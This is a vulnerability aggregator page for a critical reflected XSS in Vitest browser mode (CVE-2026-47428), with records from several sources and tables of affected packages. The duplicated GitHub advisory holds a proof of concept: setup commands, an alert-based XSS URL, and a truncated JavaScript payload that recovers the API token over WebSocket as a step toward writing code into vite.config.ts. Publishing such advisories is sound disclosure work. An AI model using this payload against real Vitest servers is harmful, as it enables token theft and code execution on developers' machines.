CVE-2026-47428
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /vitest_test/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.6
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /vitest_test/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.
- Record
CVE-2026-47428- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-44401
9.6
Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /vitest_test/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.
- Record
EUVD-2026-44401- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2h32-95rg-cppp
9.6
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Summary
Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.
The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.
Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.
This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
Proof of Concept
XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.
Open the following URL:
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
The otelCarrier query value is inserted into the generated inline module script as JavaScript source:
otelCarrier: (alert("xss via otelCarrier"),null),
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
RCE via config write
A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.
The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports flatted from a CDN to keep the payload compact.
<details><summary>Example script and encoded URL</summary>
(setTimeout(async()=>{
const s = window.__vitest_browser_runner__
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/[email protected]/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
…
- Record
GHSA-2h32-95rg-cppp- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
9.6
Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /vitest_test/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.
- Record
CVE-2026-47428- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
9.6
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /vitest_test/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.
- Record
CVE-2026-47428- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-2h32-95rg-cppp
9.6
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
Summary
Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.
The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.
Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.
This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
Proof of Concept
XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.
Open the following URL:
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
The otelCarrier query value is inserted into the generated inline module script as JavaScript source:
otelCarrier: (alert("xss via otelCarrier"),null),
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
RCE via config write
A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.
The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports flatted from a CDN to keep the payload compact.
<details><summary>Example script and encoded URL</summary>
(setTimeout(async()=>{
const s = window.__vitest_browser_runner__
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/[email protected]/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
…
- Record
GHSA-2h32-95rg-cppp- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
Show 12 moreShow less
OSVRHSA-2026:39058
8.3
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:39058- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1789901057 No score
TuxCare security update for vitest (2 CVEs)
TuxCare rebuilt vitest to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1789901057- Updated
- 2026-11-02
OSVCLSA-2026-1792161473 No score
TuxCare security update for @vitest/snapshot (2 CVEs)
TuxCare rebuilt @vitest/snapshot to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161473- Updated
- 2026-11-02
OSVCLSA-2026-1792161574 No score
TuxCare security update for @vitest/browser (2 CVEs)
TuxCare rebuilt @vitest/browser to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161574- Updated
- 2026-11-02
OSVCLSA-2026-1792161608 No score
TuxCare security update for @vitest/browser-playwright (2 CVEs)
TuxCare rebuilt @vitest/browser-playwright to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161608- Updated
- 2026-11-02
OSVCLSA-2026-1792161647 No score
TuxCare security update for @vitest/browser-preview (2 CVEs)
TuxCare rebuilt @vitest/browser-preview to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161647- Updated
- 2026-11-02
OSVCLSA-2026-1792161719 No score
TuxCare security update for @vitest/expect (2 CVEs)
TuxCare rebuilt @vitest/expect to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161719- Updated
- 2026-11-02
OSVCLSA-2026-1792161766 No score
TuxCare security update for @vitest/mocker (2 CVEs)
TuxCare rebuilt @vitest/mocker to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161766- Updated
- 2026-11-02
OSVCLSA-2026-1792161831 No score
TuxCare security update for @vitest/pretty-format (2 CVEs)
TuxCare rebuilt @vitest/pretty-format to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161831- Updated
- 2026-11-02
OSVCLSA-2026-1792161876 No score
TuxCare security update for @vitest/spy (2 CVEs)
TuxCare rebuilt @vitest/spy to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161876- Updated
- 2026-11-02
OSVCLSA-2026-1792161974 No score
TuxCare security update for @vitest/utils (2 CVEs)
TuxCare rebuilt @vitest/utils to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792161974- Updated
- 2026-11-02
OSVCLSA-2026-1792162034 No score
TuxCare security update for @vitest/runner (2 CVEs)
TuxCare rebuilt @vitest/runner to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.
- Record
CLSA-2026-1792162034- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@vitest/browsernpm |
4.0.17 up to 4.1.6 | 4.1.6 |
@vitest/browsernpm |
5.0.0-beta.0 up to 5.0.0-beta.3 | 5.0.0-beta.3 |
vitestTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/snapshotTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/browserTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/browser-playwrightTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/browser-previewTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/expectTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/mockerTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/pretty-formatTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@vitest/spyTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/utilsTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
@vitest/runnerTuxCare:npm |
4.0.18-tuxcare.0 up to 4.0.18-tuxcare.2, plus listed versions 4.0.184.0.18-tuxcare.1 |
4.0.18-tuxcare.2 |
prometheus3.13Red Hat:hummingbird:1 |
before 0:3.13.1-0.1.hum1 | 0:3.13.1-0.1.hum1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, references | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-47428 is a critical vulnerability (CVSS 9.6) in Vitest-dev Vitest, published June 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 47th percentile. Fixed in @vitest/browser 4.1.6.
References
github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp
github.com/vitest-dev/vitest/pull/10283
github.com/vitest-dev/vitest/pull/10285
github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06
github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa
github.com/vitest-dev/vitest/releases/tag/v4.1.6
Show 25 moreShow less
github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3
github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js
github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts
github.com/advisories/GHSA-2h32-95rg-cppp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47428.json
nvd.nist.gov/vuln/detail/CVE-2026-47428
github.com/vitest-dev/vitest
access.redhat.com/errata/RHSA-2026:39058
images.redhat.com
access.redhat.com/security/cve/CVE-2026-47428
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-47429
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_39058.json
bugzilla.redhat.com/show_bug.cgi?id=2500578
cve.org/CVERecord?id=CVE-2026-47428
bugzilla.redhat.com/show_bug.cgi?id=2500573
cve.org/CVERecord?id=CVE-2026-47429
nvd.nist.gov/vuln/detail/CVE-2026-47429
github.com/vitest-dev/vitest/commit/20e00ef7808de6d330c5e2fda530f686e08f1c8d
github.com/vitest-dev/vitest/commit/af88b1f5d82844a4761ea9a977156c98e2b14ca8
github.com/vitest-dev/vitest/pull/10445
github.com/vitest-dev/vitest/pull/9350
github.com/vitest-dev/vitest/releases/tag/v3.2.5
github.com/vitest-dev/vitest/releases/tag/v4.1.0
github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp
Left out here: the rest of 2 source descriptions. The JSON record has them.